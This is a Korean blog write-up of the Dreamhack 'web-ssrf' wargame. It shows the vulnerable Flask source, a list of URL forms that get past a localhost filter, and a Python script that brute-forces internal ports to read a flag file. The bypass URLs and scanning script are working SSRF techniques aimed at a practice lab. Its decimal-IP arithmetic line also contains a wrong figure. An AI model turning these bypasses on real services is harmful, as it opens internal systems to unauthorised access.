[Dreamhack] web-ssrf

2025. 3. 16. 14:46·Webhacking/Dreamhack
 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Exercise: SSRF

dreamhack.io


code

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

코드 해석

엔드포인트 : /img_viewer

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

img_viewer : GET과 POST의 요청을 처리한다.

  • GET : img_viewer.html을 렌더링한다.
  • POST : 이용자가 입력한 url에 HTTP 요청을 전송, 응답을 img_viewer.html의 인자로 하여 렌더링한다.

 

기능 : run_local_server

파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다.

http.server.HTTPServer 의 두 번째 인자로 http.server.SimpleHttpRequestHandler 를 전달하여 현재 디렉토리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.

run_local_server 함수로 호스트가 127.0.0.1 이므로 외부에서 이 서버에 직접 접근하는 것은 불가능하다.

취약점 분석

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

img_viewer 함수이다.

  • 이용자가 POST로 전달한 url에 HTTP 요청 전송, 응답을 반환한다.
  • 서버 주소에 "127.0.0.1", "localhost" 가 포함된 URL로의 접근을 제한하여 우회 시 SSRF를 통해 내부 HTTP 서버에 접근 가능하다.

home, about, contact 페이지 모두 위 사진과 동일하다.

Image Viewer을 클릭해보자.

view 클릭했을 때의 페이지 모습이다.

/app/flag.txt를 입력해봤지만 이미지가 아닌 깨진 이미지 파일로 출력되는것을 볼 수 있다.

data:image/png;base64, PCFkb2N0eXBlIGh0bWw+CjxodG1sIGxhbmc9ZW4+Cjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhlIHNlcnZlci4gSWYgeW91IGVudGVyZWQgdGhlIFVSTCBtYW51YWxseSBwbGVhc2UgY2hlY2sgeW91ciBzcGVsbGluZyBhbmQgdHJ5IGFnYWluLjwvcD4K

깨진 사진의 해당 코드를 디코딩해보자.

익스플로잇

코드를 디코딩 한 결과 localhost의 접근이 404로 막혀있는 상태를 확인했다.

elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)

localhost를 이용한 위조 요청 필터링 확인 가능한 코드이다.

 

우회 가능 링크

  • http://vcap.me:8000/
    • vcap.me 는 특수한 도메인, 기본적으로 127.0.0.1로 해석된다.
    • 코드에서 "localhost" 나 "127.0.0.1" 문자열이 포함되는지만 확인 -> vcap.me 탐지되지 않고 우회 가능하다.
  • http://0x7f.0x00.0x00.0x01:8000/
    • 16진수 표기법 사용한 IP주소, 실제 값은 127.0.0.1 과 일치한다.
    • 코드에서 단순 문자열 비교만 수행 -> "127.0.0.1" 과 정확히 일치되지 않아 탐지되지 않는다.
  • http://0x7f000001:8000/
    • 16진수 표기법 사용, 127.0.0.1 을 한 개의 16진수로 표현한 값이다.
    • 코드에서 16진수 변환을 고려하지 않기 때문에 탐지되지 않는다.
  • http://2130706433:8000/
    • 127.0.0.1 을 10진수로 변환한 값이다.
    • 127.0.0.1 → ( 127 * 256^3 ) + ( 0 * 256^2 ) + ( 0 * 256^1 ) + ( 1 * 256^0 ) = 21307006433
  • http://Localhost:8000/
    • localhost는 대소문자를 구분하지 않지만, 코드에서는 "localhost" 라는 소문자 문자열만을 검사한다.
    • 즉, "Localhost" 와 같은 대문자가 포함된 변형은 탐지되지 않아 우회가 가능하다.
  • http://127.0.0.255:8000/
    • 127.0.0.255 도 127.0.0.1 과 마찬가지로 127.0.0.0/8 대역에 속하는 루프백(Loopback) 주소이다.
    • 코드에서는 "127.0.0.1" 문자열과 정확히 일치하는지 확인 -> 127.0.0.255 같은 루프백 주소는 탐지되지 않고 우회 가능하다.
Localhost를 이용해서 문제를 풀어보도록 하겠다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
  • 1500 ~ 1800 사이에 로컬 포트를 할당해준다.

무차별 대입으로 문제를 해결해보자.

무차별 대입 코드

import requests

no = 'iVBORw0KGg'
for port in range(1500, 1801):
    url = 'http://host1.dreamhack.games:22757/img_viewer'
    image_url= 'http://Localhost:'+str(port)+'/flag.txt'
    data = { "url" : image_url }
    response = requests.post(url, data).text
    if no in response:
        print(str(port))
    else:
        print(str(port), 'find')
        break

무차별 대입 코드 해석

no = 'iVBORw0KGg'

열려있지 않은 포트로 /app/flag.txt 로 접근했을 때의 화면이다.

F12에서 이 화면의 source 를 찾아보니 iVBORw0KGg 인것을 확인할 수 있다.

위의 사진과 같은 Not Found X 응답이 나온다면 닫혀 있는 포트에 접속 시도를 했다는 것이다.
for port in range(1500, 1801):

1500 ~ 1800까지 무차별 대입을 진행해준다.

url = 'http://host1.dreamhack.games:22757/img_viewer'
    image_url= 'http://Localhost:'+str(port)+'/flag.txt'
    data = { "url" : image_url }

localhost+port 가 아닌 Localhost+port로 필터링 우회를 진행한다.

response = requests.post(url, data).text
    if no in response:
        print(str(port))
    else:
        print(str(port), 'find')
        break
  1. 닫혀 있는 포트인지 열려 있는 포트인지 판별해준다.
  2. 열려 있는 포트를 찾았다면 포트 번호와 find를 출력하면서 반복문 break를 띄워준다.

실행된 모습이다.

1599 포트에서 find가 출력되고 break 되었다.

-> 1599 포트로 접속을 시도한다.

입력 결과 Not Found X 이미지와는 다른 source 값이 확인되었다.

위의 source 값을 다시 디코딩해보자.

플래그 획득

정상적으로 플래그를 획득할 수 있다.

저작자표시 비영리 동일조건 (새창열림)

'Webhacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] blind-command  (0) 2025.03.22
[Dreamhack] Carve Party  (0) 2025.03.16
[Dreamhack] file-download-1  (0) 2025.03.16
[Dreamhack] image-storage  (0) 2025.03.16
[Dreamhack] command-injection-1  (0) 2025.03.16
'Webhacking/Dreamhack' 카테고리의 다른 글
  • [Dreamhack] blind-command
  • [Dreamhack] Carve Party
  • [Dreamhack] file-download-1
  • [Dreamhack] image-storage
배움이 머무는 곳
배움이 머무는 곳
  • 배움이 머무는 곳
    wlgus
    배움이 머무는 곳
  • 전체
    오늘
    어제
    • 분류 전체보기 (68) N
      • 이것저것.zip (7)
      • CVE (6)
      • CTF (2)
      • Wargame (23) N
      • Webhacking (19)
        • WebGoat (2)
        • Dreamhack (15)
      • Web (5)
      • Pwnable (5)
        • Dreamhack (5)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
    • 글쓰기
  • hELLO· Designed By정상우.v4.10.5
배움이 머무는 곳
[Dreamhack] web-ssrf
상단으로

티스토리툴바